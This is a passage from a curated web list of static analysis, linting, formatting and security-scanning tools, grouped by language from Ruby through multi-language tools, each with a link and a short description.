Runs quality checks on your code using community tools, and makes sure your numbers don't get any worse over time.</p> </li> <li> <p><a href="https://github.com/soutaro/querly">Querly</a> <span>⚠</span> — Pattern Based Checking Tool for Ruby.</p> </li> <li> <p><a href="https://railroader.org">Railroader</a> <span>⚠</span> — An open source static analysis security vulnerability scanner for Ruby on Rails applications.</p> </li> <li> <p><a href="https://rails-bestpractices.com">rails_best_practices</a> — A code metric tool for Rails projects</p> </li> <li> <p><a href="https://github.com/troessner/reek">reek</a> — Code smell detector for Ruby.</p> </li> <li> <p><a href="https://github.com/roodi/roodi">Roodi</a> <span>⚠</span> — Roodi stands for Ruby Object Oriented Design Inferometer. It parses your Ruby code and warns you about design issues you have based on the checks that it has configured.</p> </li> <li> <p><a href="https://docs.rubocop.org/rubocop">RuboCop</a> — A Ruby static code analyzer, based on the community Ruby style guide.</p> </li> <li> <p><a href="https://github.com/blazeeboy/rubrowser">Rubrowser</a> — Ruby classes interactive dependency graph generator.</p> </li> <li> <p><a href="http://code.yorickpeterse.com/ruby-lint/latest">ruby-lint</a> <span>⚠</span> — Static code analysis for Ruby.</p> </li> <li> <p><a href="https://github.com/whitesmith/rubycritic">rubycritic</a> — A Ruby code quality reporter.</p> </li> <li> <p><a href="https://github.com/ruby-formatter/rufo">rufo</a> — An opinionated ruby formatter, intended to be used via the command line as a text-editor plugin, to autoformat files on save or on demand.</p> </li> <li> <p><a href="https://metricfu.github.io/Saikuro">Saikuro</a> <span>⚠</span> — A Ruby cyclomatic complexity analyzer.</p> </li> <li> <p><a href="https://rubygems.org/gems/sandi_meter">SandiMeter</a> <span>⚠</span> — Static analysis tool for checking Ruby code for Sandi Metz' rules.</p> </li> <li> <p><a href="https://sorbet.org">Sorbet</a> — A fast, powerful type checker designed for Ruby.</p> </li> <li> <p><a href="https://github.com/testdouble/standard">Standard Ruby</a> — Ruby Style Guide, with linter &amp; automatic code fixer</p> </li> <li> <p><a href="https://github.com/soutaro/steep">Steep</a> — Gradual Typing for Ruby.</p> </li> </ul> <h2 id="rust">Rust</h2> <ul> <li> <p><a href="https://c2rust.com">C2Rust</a> — C2Rust helps you migrate C99-compliant code to Rust. The translator (or transpiler) produces unsafe Rust code that closely mirrors the input C code.</p> </li> <li> <p><a href="https://github.com/est31/cargo-udeps">cargo udeps</a> — Find unused dependencies in Cargo.toml. It either prints out a "unused crates" line listing the crates, or it prints out a line saying that no crates were unused.</p> </li> <li> <p><a href="https://rustsec.org">cargo-audit</a> — Audit Cargo.lock for crates with security vulnerabilities reported to the <a href="https://github.com/RustSec/advisory-db/">RustSec Advisory Database</a>.</p> </li> <li> <p><a href="https://github.com/RazrFalcon/cargo-bloat">cargo-bloat</a> — Find out what takes most of the space in your executable. supports ELF (Linux, BSD), Mach-O (macOS) and PE (Windows) binaries.</p> </li> <li> <p><a href="https://github.com/iomentum/cargo-breaking">cargo-breaking</a> — cargo-breaking compares a crate's public API between two different branches, shows what changed, and suggests the next version according to semver.</p> </li> <li> <p><a href="https://github.com/japaric/cargo-call-stack">cargo-call-stack</a> — Whole program static stack analysis The tool produces the full call graph of a program as a dot file.</p> </li> <li> <p><a href="https://embarkstudios.github.io/cargo-deny">cargo-deny</a> — A cargo plugin for linting your dependencies. It can be used either as a command line too, a Rust crate, or a Github action for CI. It checks for valid license information, duplicate crates, security vulnerabilities, and more.</p> </li> <li> <p><a href="https://github.com/dtolnay/cargo-expand">cargo-expand</a> — Cargo subcommand to show result of macro expansion and #[derive] expansion applied to the current crate. This is a wrapper around a more verbose compiler command.</p> </li> <li> <p><a href="https://github.com/mre/cargo-inspect">cargo-inspect</a> <span>⚠</span> — Inspect Rust code without syntactic sugar to see what the compiler does behind the curtains.</p> </li> <li> <p><a href="https://github.com/pacak/cargo-show-asm">cargo-show-asm</a> — cargo subcommand showing the assembly, LLVM-IR and MIR generated for Rust code</p> </li> <li> <p><a href="https://github.com/drahnr/cargo-spellcheck">cargo-spellcheck</a> — Checks all your documentation for spelling and grammar mistakes with hunspell (ready) and languagetool (preview)</p> </li> <li> <p><a href="https://github.com/TimonPost/cargo-unused-features">cargo-unused-features</a> — Find potential unused enabled feature flags and prune them. You can generate a simple HTML report from the json to make it easier to inspect results. It removes a feature of a dependency and then compiles the project to see if it still compiles. If it does, the feature flag can possibly be removed, but it can be a false-positve.</p> </li> <li> <p><a href="https://rust-lang.github.io/rust-clippy">clippy</a> — A code linter to catch common mistakes and improve your Rust code.</p> </li> <li> <p><a href="https://diff.rs">diff.rs</a> — Web application (WASM) to render a diff between Rust crate versions.</p> </li> <li> <p><a href="https://www.trailofbits.com/post/write-rust-lints-without-forking-clippy">dylint</a> — A tool for running Rust lints from dynamic libraries. Dylint makes it easy for developers to maintain their own personal lint collections.</p> </li> <li> <p><a href="https://kha.github.io/electrolysis">electrolysis</a> <span>⚠</span> — A tool for formally verifying Rust programs by transpiling them into definitions in the Lean theorem prover.</p> </li> <li> <p><a href="https://github.com/mcarton/rust-herbie-lint">herbie</a> <span>⚠</span> — Adds warnings or errors to your crate when using a numerically unstable floating point expression.</p> </li> <li> <p><a href="https://github.com/AtomLinter/linter-rust">linter-rust</a> <span>⚠</span> — Linting your Rust-files in Atom, using rustc and cargo.</p> </li> <li> <p><a href="https://github.com/BurtonQin/lockbud">lockbud</a> — Statically detects Rust deadlocks bugs. It currently detects two common kinds of deadlock bugs: doublelock and locks in conflicting order. It will print bugs in JSON format together with the source code location and an explanation of each bug.</p> </li> <li> <p><a href="https://github.com/facebookexperimental/MIRAI">MIRAI</a> — And abstract interpreter operating on Rust's mid-level intermediate language, and providing warnings based on taint analysis.</p> </li> <li> <p><a href="https://github.com/teenjuna/prae">prae</a> — Provides a convenient macro that allows you to generate type wrappers that promise to always uphold arbitrary invariants that you specified.</p> </li> <li> <p><a href="https://www.pm.inf.ethz.ch/research/prusti.html">Prusti</a> — A static verifier for Rust, based on the Viper verification infrastructure. By default Prusti verifies absence of panics by proving that statements such as unreachable!() and panic!() are unreachable.</p> </li> <li> <p><a href="https://github.com/sslab-gatech/Rudra">Rudra</a> <span>⚠</span> — Rust Memory Safety &amp; Undefined Behavior Detection. It is capable of analyzing single Rust packages as well as all the packages on crates.io.</p> </li> <li> <p><a href="https://github.com/rust-lang-nursery/rls">Rust Language Server</a> <span>⚠</span> — Supports functionality such as 'goto definition', symbol search, reformatting, and code completion, and enables renaming and refactorings.</p> </li> <li> <p><a href="https://rust-analyzer.github.io">rust-analyzer</a> — Supports functionality such as 'goto definition', type inference, symbol search, reformatting, and code completion, and enables renaming and refactorings.</p> </li> <li> <p><a href="https://github.com/Shnatsel/rust-audit">rust-audit</a> — Audit Rust binaries for known bugs or security vulnerabilities. This works by embedding data about the dependency tree (Cargo.lock) in JSON format into a dedicated linker section of the compiled executable.</p> </li> <li> <p><a href="https://github.com/rust-lang/rustfix">rustfix</a> — Read and apply the suggestions made by rustc (and third-party lints, like those offered by clippy).</p> </li> <li> <p><a href="https://github.com/rust-lang/rustfmt">rustfmt</a> — A tool for formatting Rust code according to style guidelines.</p> </li> <li> <p><a href="https://github.com/rustviz/rustviz">RustViz</a> — RustViz is a tool that generates visualizations from simple Rust programs to assist users in better understanding the Rust Lifetime and Borrowing mechanism. It generates SVG files with graphical indicators that integrate with mdbook to render visualizations of data-flow in Rust programs.</p> </li> <li> <p><a href="https://github.com/est31/warnalyzer">warnalyzer</a> — Show unused code from multi-crate Rust projects</p> </li> </ul> <h2 id="sql">SQL</h2> <ul> <li> <p><a href="https://github.com/channable/dbcritic">dbcritic</a> — dbcritic finds problems in a database schema, such as a missing primary key constraint in a table.</p> </li> <li> <p><a href="https://holistic.dev/">holistic</a> — More than 1,300 rules to analyze SQL queries. Takes an SQL schema definition and the query source code to generate improvement recommendations. Detects code smells, unused indexes, unused tables, views, materialized views, and more.</p> </li> <li> <p><a href="https://github.com/nrempel/sleek">sleek</a> — Sleek is a CLI tool for formatting SQL. It helps you maintain a consistent style across your SQL code, enhancing readability and productivity. The heavy lifting is done by the sqlformat crate.</p> </li> <li> <p><a href="https://github.com/jarulraj/sqlcheck">sqlcheck</a> <span>⚠</span> — Automatically identify anti-patterns in SQL queries.</p> </li> <li> <p><a href="https://www.sqlfluff.com/">SQLFluff</a> — Multiple dialect SQL linter and formatter.</p> </li> <li> <p><a href="https://github.com/purcell/sqlint">sqlint</a> — Simple SQL linter.</p> </li> <li> <p><a href="https://squawkhq.com">squawk</a> — Linter for PostgreSQL, focused on migrations. Prevents unexpected downtime caused by database migrations and encourages best practices around Postgres schemas and SQL.</p> </li> <li> <p><a href="https://github.com/tsqllint/tsqllint">tsqllint</a> — T-SQL-specific linter.</p> </li> <li> <p><a href="https://github.com/ashleyglee/TSqlRules">TSqlRules</a> <span>⚠</span> — TSQL Static Code Analysis Rules for SQL Server.</p> </li> <li> <p><a href="https://www.visual-expert.com">Visual Expert</a> <span>©</span> — Code analysis for PowerBuilder, Oracle, and SQL Server Explores, analyzes, and documents Code</p> </li> </ul> <h2 id="scala">Scala</h2> <ul> <li> <p><a href="https://github.com/HairyFotr/linter">linter</a> <span>⚠</span> — Linter is a Scala static analysis compiler plugin which adds compile-time checks for various possible bugs, inefficiencies, and style problems.</p> </li> <li> <p><a href="http://www.scalastyle.org">Scalastyle</a> — Scalastyle examines your Scala code and indicates potential problems with it.</p> </li> <li> <p><a href="https://github.com/sksamuel/scapegoat">scapegoat</a> — Scala compiler plugin for static code analysis.</p> </li> <li> <p><a href="https://www.wartremover.org">WartRemover</a> — A flexible Scala code linting tool.</p> </li> </ul> <h2 id="shell">Shell</h2> <ul> <li> <p><a href="https://github.com/openstack/bashate">bashate</a> — Code style enforcement for bash programs. The output format aims to follow pycodestyle (pep8) default output format.</p> </li> <li> <p><a href="https://github.com/lequal/i-CodeCNES">i-Code CNES for Shell</a> — An open source static code analysis tool for Shell and Fortran (77 and 90).</p> </li> <li> <p><a href="https://github.com/ediardo/kmdr-cli">kmdr</a> — CLI tool for learning commands from your terminal. kmdr delivers a break down of commands with every attribute explained.</p> </li> <li> <p><a href="https://pkg.go.dev/mvdan.cc/sh/v3">sh</a> — A shell parser, formatter, and interpreter with bash support; includes shfmt</p> </li> <li> <p><a href="https://www.shellcheck.net">shellcheck</a> — ShellCheck, a static analysis tool that gives warnings and suggestions for bash/sh shell scripts.</p> </li> <li> <p><a href="https://github.com/anordal/shellharden">shellharden</a> — A syntax highlighter and a tool to semi-automate the rewriting of scripts to ShellCheck conformance, mainly focused on quoting.</p> </li> </ul> <h2 id="swift">Swift</h2> <ul> <li> <p><a href="https://github.com/nicklockwood/SwiftFormat">SwiftFormat</a> — A library and command-line formatting tool for reformatting Swift code.</p> </li> <li> <p><a href="https://realm.github.io/SwiftLint">SwiftLint</a> — A tool to enforce Swift style and conventions.</p> </li> <li> <p><a href="https://sleekbyte.github.io/tailor">Tailor</a> <span>⚠</span> — A static analysis and lint tool for source code written in Apple's Swift programming language.</p> </li> </ul> <h2 id="tcl">Tcl</h2> <ul> <li> <p><a href="http://catless.ncl.ac.uk/Programs/Frink">Frink</a> — A Tcl formatting and static check program (can prettify the program, minimise, obfuscate or just sanity check it).</p> </li> <li> <p><a href="https://sourceforge.net/projects/nagelfar">Nagelfar</a> — A static syntax checker for Tcl.</p> </li> <li> <p><a href="https://github.com/ActiveState/tdk/raw/master/docs/3.0/TDK_3.0_Checker.txt">tclchecker</a> — A static syntax analysis module (as part of <a href="https://github.com/ActiveState/tdk">TDK</a>).</p> </li> </ul> <h2 id="typescript">TypeScript</h2> <ul> <li> <p><a href="https://github.com/angular-eslint/angular-eslint#readme">Angular ESLint</a> — Linter for Angular projects</p> </li> <li> <p><a href="http://codelyzer.com">Codelyzer</a> <span>⚠</span> — A set of tslint rules for static code analysis of Angular 2 TypeScript projects.</p> </li> <li> <p><a href="https://stc.dudy.dev">stc</a> — Speedy TypeScript type checker written in Rust</p> </li> <li> <p><a href="https://palantir.github.io/tslint/">tslint</a> <span>⚠</span> — TSLint has been deprecated as of 2019. Please see <a href="https://github.com/palantir/tslint/issues/4534">this issue</a> for more details. <code>typescript-eslint</code> is now your best option for linting TypeScript. TSLint is an extensible static analysis tool that checks TypeScript code for readability, maintainability, and functionality errors. It is widely supported across modern editors &amp; build systems and can be customized with your own lint rules, configurations, and formatters.</p> </li> <li> <p><a href="https://www.npmjs.com/package/tslint-clean-code">tslint-clean-code</a> — A set of TSLint rules inspired by the Clean Code handbook.</p> </li> <li> <p><a href="https://github.com/Microsoft/tslint-microsoft-contrib">tslint-microsoft-contrib</a> <span>⚠</span> — A set of tslint rules for static code analysis of TypeScript projects maintained by Microsoft.</p> </li> <li> <p><a href="https://github.com/whyboris/TypeScript-Call-Graph">TypeScript Call Graph</a> — CLI to generate an interactive graph of functions and calls from your TypeScript files</p> </li> <li> <p><a href="https://github.com/typescript-eslint/typescript-eslint">TypeScript ESLint</a> — TypeScript language extension for eslint.</p> </li> <li> <p><a href="https://zod.dev">zod</a> — TypeScript-first schema validation with static type inference. The goal is to eliminate duplicative type declarations. With Zod, you declare a validator once and Zod will automatically infer the static TypeScript type. It is easy to compose simpler types into complex data structures.</p> </li> </ul> <h2 id="verilog">Verilog/SystemVerilog</h2> <ul> <li> <p><a href="https://github.com/steveicarus/iverilog">Icarus Verilog</a> — A Verilog simulation and synthesis tool that operates by compiling source code written in IEEE-1364 Verilog into some target format</p> </li> <li> <p><a href="https://github.com/dalance/svls">svls</a> — A Language Server Protocol implementation for Verilog and SystemVerilog, including lint capabilities.</p> </li> <li> <p><a href="https://github.com/chipsalliance/verible-linter-action">verible-linter-action</a> — Automatic SystemVerilog linting in github actions with the help of Verible Used to lint Verilog and SystemVerilog source files and comment erroneous lines of code in Pull Requests automatically.</p> </li> <li> <p><a href="https://www.veripool.org/verilator">Verilator</a> — A tool which converts Verilog to a cycle-accurate behavioral model in C++ or SystemC. Performs lint code-quality checks.</p> </li> <li> <p><a href="https://github.com/mshr-h/vscode-verilog-hdl-support">vscode-verilog-hdl-support</a> — Verilog HDL/SystemVerilog/Bluespec SystemVerilog support for VS Code. Provides syntax highlighting and Linting support from Icarus Verilog, Vivado Logical Simulation, Modelsim and Verilator</p> </li> </ul> <h2 id="vim-script">Vim Script</h2> <ul> <li><a href="https://github.com/Kuniwak/vint">vint</a> <span>⚠</span> — Fast and Highly Extensible Vim script Language Lint implemented by Python.</li> </ul> <h2>Multiple languages</h2> <ul> <li> <p><a href="https://github.com/w0rp/ale">ale</a> — Asynchronous Lint Engine for Vim and NeoVim with support for many languages.</p> </li> <li> <p><a href="https://developer.android.com/studio">Android Studio</a> — Based on IntelliJ IDEA, and comes bundled with tools for Android including Android Lint.</p> </li> <li> <p><a href="https://npo-echelon.ru/en/solutions/appchecker.php">AppChecker</a> <span>©</span> — Static analysis for C/C++/C#, PHP and Java.</p> </li> <li> <p><a href="https://www.ptsecurity.com/ww-en/products/ai">Application Inspector</a> <span>©</span> — Commercial Static Code Analysis which generates exploits to verify vulnerabilities.</p> </li> <li> <p><a href="https://github.com/microsoft/ApplicationInspector">ApplicationInspector</a> — Creates reports of over 400 rule patterns for feature detection (e.g. the use of cryptography or version control in apps).</p> </li> <li> <p><a href="https://www.archunit.org">ArchUnit</a> — Unit test your Java or Kotlin architecture.</p> </li> <li> <p><a href="https://atom.io/packages/atom-beautify">Atom-Beautify</a> <span>⚠</span> — Beautify HTML, CSS, JavaScript, PHP, Python, Ruby, Java, C, C++, C#, Objective-C, CoffeeScript, TypeScript, Coldfusion, SQL, and more in Atom editor.</p> </li> <li> <p><a href="https://huacnlee.github.io/autocorrect">autocorrect</a> — A linter and formatter to help you to improve copywriting, correct spaces, words, punctuations between CJK (Chinese, Japanese, Korean).</p> </li> <li> <p><a href="https://www.axivion.com/en/products-services-9#products_bauhaussuite">Axivion Bauhaus Suite</a> <span>©</span> — Tracks down error-prone code locations, style violations, cloned or dead code, cyclic dependencies and more for C/C++, C#/.NET, Java and Ada 83/Ada 95.</p> </li> <li> <p><a href="https://github.com/bearer/bearer">Bearer</a> — Open-Source static code analysis tool to discover, filter and prioritize security risks and vulnerabilities leading to sensitive data exposures (PII, PHI, PD). Highly configurable and easily extensible, built for security and engineering teams.</p> </li> <li> <p><a href="https://bettercodehub.com">Better Code Hub</a> <span>©</span> — Better Code Hub checks your GitHub codebase against 10 engineering guidelines devised by the authority in software quality, Software Improvement Group.</p> </li> <li> <p><a href="https://biomejs.dev">biome</a> — A toolchain for web projects, aimed to provide functionalities to maintain them. Biome formats and lints code in a fraction of a second. It is the successor to Rome. It is designed to eventually replace Biome is designed to eventually replace Babel, ESLint, webpack, Prettier, Jest, and others.</p> </li> <li> <p><a href="https://www.bugprove.com">BugProve</a> <span>©</span> — BugProve is a firmware analysis platform featuring both static and dynamic analysis techniques to discover memory corruptions, command injections and other classes or common weaknesses in binary code. It also detects vulnerable dependencies, weak cryptographic parameters, misconfigurations, and more.</p> </li> <li> <p><a href="https://github.com/koknat/callGraph">callGraph</a> — Statically generates a call graph image and displays it on screen.</p> </li> <li> <p><a href="https://www.castsoftware.com/products/highlight">CAST Highlight</a> <span>©</span> — Commercial Static Code Analysis which runs locally, but uploads the results to its cloud for presentation.</p> </li> <li> <p><a href="https://www.checkmarx.com/products/static-application-security-testing">Checkmarx CxSAST</a> <span>©</span> — Commercial Static Code Analysis which doesn't require pre-compilation.</p> </li> <li> <p><a href="https://github.com/classgraph/classgraph">ClassGraph</a> — A classpath and module path scanner for querying or visualizing class metadata or class relatedness.</p> </li> <li> <p><a href="https://www.getclayton.com/">Clayton</a> <span>©</span> — AI-powered code reviews for Salesforce. Secure your developments, enforce best practice and control your technical debt in real-time.</p> </li> <li> <p><a href="https://coala.io">coala</a> <span>⚠</span> — Language independent framework for creating code analysis - supports <a href="https://coala.io/languages">over 60 languages</a> by default.</p> </li> <li> <p><a href="https://spinroot.com/cobra">Cobra</a> <span>©</span> — Structural source code analyzer by NASA's Jet Propulsion Laboratory.</p> </li> <li> <p><a href="https://www.codacy.com">Codacy</a> <span>©</span> — Code Analysis to ship Better Code, Faster.</p> </li> <li> <p><a href="https://www.code-intelligence.com">Code Intelligence</a> <span>©</span> — CI/CD-agnostic DevSecOps platform which combines industry-leading fuzzing engines for finding bugs and visualizing code coverage</p> </li> <li> <p><a href="https://www.codeac.io/?ref=awesome-static-analysis">Codeac</a> <span>©</span> — Automated code review tool integrates with GitHub, Bitbucket and GitLab (even self-hosted). Available for JavaScript, TypeScript, Python, Ruby, Go, PHP, Java, Docker, and more. (open-source free)</p> </li> <li> <p><a href="https://groupon.github.io/codeburner">codeburner</a> — Provides a unified interface to sort and act on the issues it finds.</p> </li> <li> <p><a href="https://codechecker.readthedocs.io/en/latest">codechecker</a> — A defect database and viewer extension for the Clang Static Analyzer with web GUI.</p> </li> <li> <p><a href="https://codefactor.io">CodeFactor</a> <span>©</span> — Automated Code Analysis for repos on GitHub or BitBucket.</p> </li> <li> <p><a href="https://www.getcodeflow.com">CodeFlow</a> <span>©</span> — Automated code analysis tool to deal with technical depth. Integrates with Bitbucket and Gitlab. (free for Open Source Projects)</p> </li> <li> <p><a href="https://submain.com/products/codeit.right.aspx">CodeIt.Right</a> <span>©</span> — CodeIt.Right™ provides a fast, automated way to ensure that your source code adheres to (your) predefined design and style guidelines as well as best coding practices.</p> </li> <li> <p><a href="https://cyber-security.claranet.fr/en/codepatrol">CodePatrol</a> <span>©</span> — Automated SAST code reviews driven by security, supports 15+ languages and includes security training.</p> </li> <li> <p><a href="https://github.com/github/codeql">codeql</a> — Deep code analysis - semantic queries and dataflow for several languages with VSCode plugin support.</p> </li> <li> <p><a href="https://codeque.co">CodeQue</a> — Ecosystem for structural matching JavaScript and TypeScript code. Offers search tool that understands code structure. Available as CLI tool and Visual Studio Code extension. It helps to search code faster and more accurately making you workflow more effective. Soon it will offer ESLint plugin to create your own rules in minutes to help with assuring codebase quality.</p> </li> <li> <p><a href="https://www.devexpress.com/products/coderush">CodeRush</a> <span>©</span> — Code creation, debugging, navigation, refactoring, analysis and visualization tools that use the Roslyn engine in Visual Studio 2015 and up.</p> </li> <li> <p><a href="https://www.codescan.io/">CodeScan</a> <span>©</span> — Code Quality and Security for Salesforce Developers. Made exclusively for the Salesforce platform, CodeScan’s code analysis solutions provide you with total visibility into your code health.</p> </li> <li> <p><a href="https://codescene.com">CodeScene</a> <span>©</span> — CodeScene is a quality visualization tool for software. Prioritize technical debt, detect delivery risks, and measure organizational aspects. Fully automated.</p> </li> <li> <p><a href="https://www.codesee.io/">CodeSee</a> <span>©</span> — CodeSee is mapping and automating your app's services, directories, file dependencies, and code changes. It's like Google Map, but for code.t</p> </li> <li> <p><a href="https://codesecure.com/our-products/codesonar/">CodeSonar from GrammaTech</a> <span>©</span> — Advanced, whole program, deep path, static analysis of C, C++, Java and C# with easy-to-understand explanations and code and path visualization.</p> </li> <li> <p><a href="https://www.codiga.io">Codiga</a> <span>©</span> — Automated Code Reviews and Technical Debt management platform that supports 12+ languages.</p> </li> <li> <p><a href="https://github.com/jameysharp/corrode">Corrode</a> <span>⚠</span> — Semi-automatic translation from C to Rust. Could reveal bugs in the original implementation by showing Rust compiler warnings and errors. Superseded by C2Rust.</p> </li> <li> <p><a href="https://www.synopsys.com/software-integrity/security-testing/static-analysis-sast.html">Coverity</a> <span>©</span> — Synopsys Coverity supports 20 languages and over 70 frameworks including Ruby on rails, Scala, PHP, Python, JavaScript, TypeScript, Java, Fortran, C, C++, C#, VB.NET.</p> </li> <li> <p><a href="https://cpp-linter.github.io/cpp-linter-action/">cpp-linter-action</a> — A Github Action for linting C/C++ code integrating clang-tidy and clang-format to collect feedback provided in the form of thread comments and/or annotations.</p> </li> <li> <p><a href="https://github.com/xcatliu/cqc">cqc</a> <span>⚠</span> — Check your code quality for js, jsx, vue, css, less, scss, sass and styl files.</p> </li> <li> <p><a href="https://www.deepcode.ai">DeepCode</a> <span>⚠</span> <span>©</span> — DeepCode was acquired by Snyk is now Snyk Code.</p> </li> <li> <p><a href="https://deepsource.io">DeepSource</a> <span>©</span> — In-depth static analysis to find issues in verticals of bug risks, security, anti-patterns, performance, documentation and style. Native integrations with GitHub, GitLab and Bitbucket. Less than 5% false positives.</p> </li> <li> <p><a href="https://github.com/multilang-depends/depends">Depends</a> — Analyses the comprehensive dependencies of code elements for Java, C/C++, Ruby.</p> </li> <li> <p><a href="https://github.com/microsoft/devskim">DevSkim</a> — Regex-based static analysis tool for Visual Studio, VS Code, and Sublime Text - C/C++, C#, PHP, ASP, Python, Ruby, Java, and others.</p> </li> <li> <p><a href="https://github.com/dotnet/format">dotenet-format</a> — A code formatter for .NET. Preferences will be read from an <code>.editorconfig</code> file, if present, otherwise a default set of preferences will be used. At this time dotnet-format is able to format C# and Visual Basic projects with a subset of supported <code>.editorconfig</code> options.</p> </li> <li> <p><a href="https://embold.io">Embold</a> <span>©</span> — Intelligent software analytics platform that identifies design issues, code issues, duplication and metrics. Supports Java, C, C++, C#, JavaScript, TypeScript, Python, Go, Kotlin and more.</p> </li> <li> <p><a href="https://github.com/glato/emerge">emerge</a> — Emerge is a source code and dependency visualizer that can be used to gather insights about source code structure, metrics, dependencies and complexity of software projects. After scanning the source code of a project it provides you an interactive web interface to explore and analyze your project by using graph structures.</p> </li> <li> <p><a href="https://github.com/eslint/eslint">ESLint</a> — An extensible linter for JS, following the ECMAScript standard.</p> </li> <li> <p><a href="https://kaleidawave.github.io/posts/introducing-ezno/">ezno</a> — A JavaScript compiler and TypeScript checker written in Rust with a focus on static analysis and runtime performance. Ezno's type checker is built from scratch. The checker is fully compatible with TypeScript type annotations and can work without any type annotations at all.</p> </li> <li> <p><a href="https://find-sec-bugs.github.io">Find Security Bugs</a> — The SpotBugs plugin for security audits of Java web applications and Android applications. (Also work with Kotlin, Groovy and Scala projects)</p> </li> <li> <p><a href="https://software.microfocus.com/en-us/products/static-code-analysis-sast/overview">Fortify</a> <span>©</span> — A commercial static analysis platform that supports the scanning of C/C++, C#, VB.NET, VB6, ABAP/BSP, ActionScript, Apex, ASP.NET, Classic ASP, VB Script, Cobol, ColdFusion, HTML, Java, JS, JSP, MXML/Flex, Objective-C, PHP, PL/SQL, T-SQL, Python (2.6, 2.7), Ruby (1.9.3), Swift, Scala, VB, and XML.</p> </li> <li> <p><a href="https://ftaproject.dev/">fta</a> — Rust-based static analysis for TypeScript projects</p> </li> <li> <p><a href="https://sider.github.io/goodcheck">Goodcheck</a> — Regexp based customizable linter.</p> </li> <li> <p><a href="https://github.com/masibw/goone">goone</a> <span>⚠</span> — Finds N+1 queries (SQL calls in a for loop) in go code</p> </li> <li> <p><a href="http://www.justanotherhacker.com">graudit</a> — Grep rough audit - source code auditing tool.</p> </li> <li> <p><a href="https://www.hcltechsw.com/products/appscan">HCL AppScan Source</a> <span>©</span> — Commercial Static Code Analysis.</p> </li> <li> <p><a href="https://github.com/cuplv/hopper">Hopper</a> <span>⚠</span> — A static analysis tool written in scala for languages that run on JVM.</p> </li> <li> <p><a href="https://houndci.com">Hound CI</a> — Comments on style violations in GitHub pull requests. Supports Coffeescript, Go, HAML, JavaScript, Ruby, SCSS and Swift.</p> </li> <li> <p><a href="https://github.com/justinabrahms/imhotep">imhotep</a> — Comment on commits coming into your repository and check for syntactic errors and general lint warnings.</p> </li> <li> <p><a href="https://github.com/feddischson/include_gardener">include-gardener</a> — A multi-language static analyzer for C/C++/Obj-C/Python/Ruby to create a graph (in dot or graphml format) which shows all <code>#include</code> relations of a given set of files.</p> </li> <li> <p><a href="https://fbinfer.com">Infer</a> — A static analyzer for Java, C and Objective-C</p> </li> <li> <p><a href="https://www.kiuwan.com/code-security-sast">Kiuwan</a> <span>©</span> — Identify and remediate cyber threats in a blazingly fast, collaborative environment, with seamless integration in your SDLC. Python, C\C++, Java, C#, PHP and more.</p> </li> <li> <p><a href="https://www.perforce.com/products/klocwork">Klocwork</a> <span>©</span> — Quality and Security Static analysis for C/C++, Java and C#.</p> </li> <li> <p><a href="https://lgtm.com/">LGTM</a> <span>©</span> — Find security vulnerabilities, variants, and critical code quality issues using CodeQL queries over source code. Automatic PR code review; free for open source. Formerly semmle. It supports public Git repositories hosted on Bitbucket Cloud, GitHub.com, GitLab.com.</p> </li> <li> <p><a href="https://github.com/terryyin/lizard">lizard</a> — Lizard is an extensible Cyclomatic Complexity Analyzer for many programming languages including C/C++ (doesn't require all the header files or Java imports). It also does copy-paste detection (code clone detection/code duplicate detection) and many other forms of static code analysis. Counts lines of code without comments, CCN (cyclomatic complexity number), token count of functions, parameter count of functions.</p> </li> <li> <p><a href="https://nvuillam.github.io/mega-linter/">Mega-Linter</a> — Mega-Linter can handle any type of project thanks to its 70+ embedded Linters, its advanced reporting, runnable on any CI system or locally, with assisted installation and configuration, able to apply formatting and fixes</p> </li> <li> <p><a href="http://oclint.org">oclint</a> <span>⚠</span> — A static source code analysis tool to improve quality and reduce defects for C, C++ and Objective-C.</p> </li> <li> <p><a href="https://offensive360.com/">Offensive 360</a> <span>©</span> — Commercial Static Code Analysis system doesn't require building the source code or pre-compilation.</p> </li> <li> <p><a href="https://docs.openrewrite.org/">OpenRewrite</a> — OpenRewrite <a href="https://docs.openrewrite.org/running-recipes/popular-recipe-guides/common-static-analysis-issue-remediation">fixes common static analysis issues</a> reported through Sonar and other tools using a Maven and Gradle plugin or the Moderne CLI.</p> </li> <li> <p><a href="https://github.com/sed-inf-u-szeged/OpenStaticAnalyzer">OpenStaticAnalyzer</a> — OpenStaticAnalyzer is a source code analyzer tool, which can perform deep static analysis of the source code of complex systems.</p> </li> <li> <p><a href="https://github.com/web-infra-dev/oxc">oxc</a> — The Oxidation Compiler is creating a suite of high-performance tools for the JavaScript / TypeScript language re-written in Rust.</p> </li> <li> <p><a href="https://www.parasoft.com/">parasoft</a> <span>©</span> — Automated Software Testing Solutions for unit-, API-, and web UI testing. Complies with MISRA, OWASP, and others.</p> </li> <li> <p><a href="https://github.com/facebookarchive/pfff/wiki/Main">pfff</a> — Facebook's tools for code analysis, visualizations, or style-preserving source transformation for many languages.</p> </li> <li> <p><a href="https://pmd.github.io">PMD</a> — A source code analyzer for Java, Salesforce Apex, Javascript, PLSQL, XML, XSL and others.</p> </li> <li> <p><a href="https://pre-commit.com">pre-commit</a> — A framework for managing and maintaining multi-language pre-commit hooks.</p> </li> <li> <p><a href="https://prettier.io">Prettier</a> — An opinionated code formatter.</p> </li> <li> <p><a href="https://github.com/prontolabs/pronto">Pronto</a> — Quick automated code review of your changes. Supports more than 40 runners for various languages, including Clang, Elixir, JavaScript, PHP, Ruby and more.</p> </li> <li> <p><a href="https://github.com/PositiveTechnologies/PT.PM">PT.PM</a> <span>⚠</span> — An engine for searching patterns in the source code, based on Unified AST or UST. At present time C#, Java, PHP, PL/SQL, T-SQL, and JavaScript are supported. Patterns can be described within the code or using a DSL.</p> </li> <li> <p><a href="https://github.com/coderaiser/putout">Putout</a> — Pluggable and configurable code transformer with built-in eslint, babel plugins support for js, jsx typescript, flow, markdown, yaml and json.</p> </li> <li> <p><a href="https://pvs-studio.com">PVS-Studio</a> <span>©</span> — A (<a href="https://pvs-studio.com/en/order/open-source-license">conditionally free</a> for FOSS and individual developers) static analysis of C, C++, C# and Java code. For advertising purposes <a href="https://github.com/viva64/pvs-studio-check-list">you can propose a large FOSS project for analysis by PVS employees</a>. Supports CWE mapping, OWASP ASVS, MISRA, AUTOSAR and SEI CERT coding standards.</p> </li> <li> <p><a href="https://klen.github.io/pylama/">pylama</a> — Code audit tool for Python and JavaScript. Wraps pycodestyle, pydocstyle, PyFlakes, Mccabe, Pylint, and more</p> </li> <li> <p><a href="https://qwiet.ai/">Qwiet AI</a> <span>©</span> — Identify vulnerabilities that are unique to your code base before they reach production. Leverages the Code Property Graph 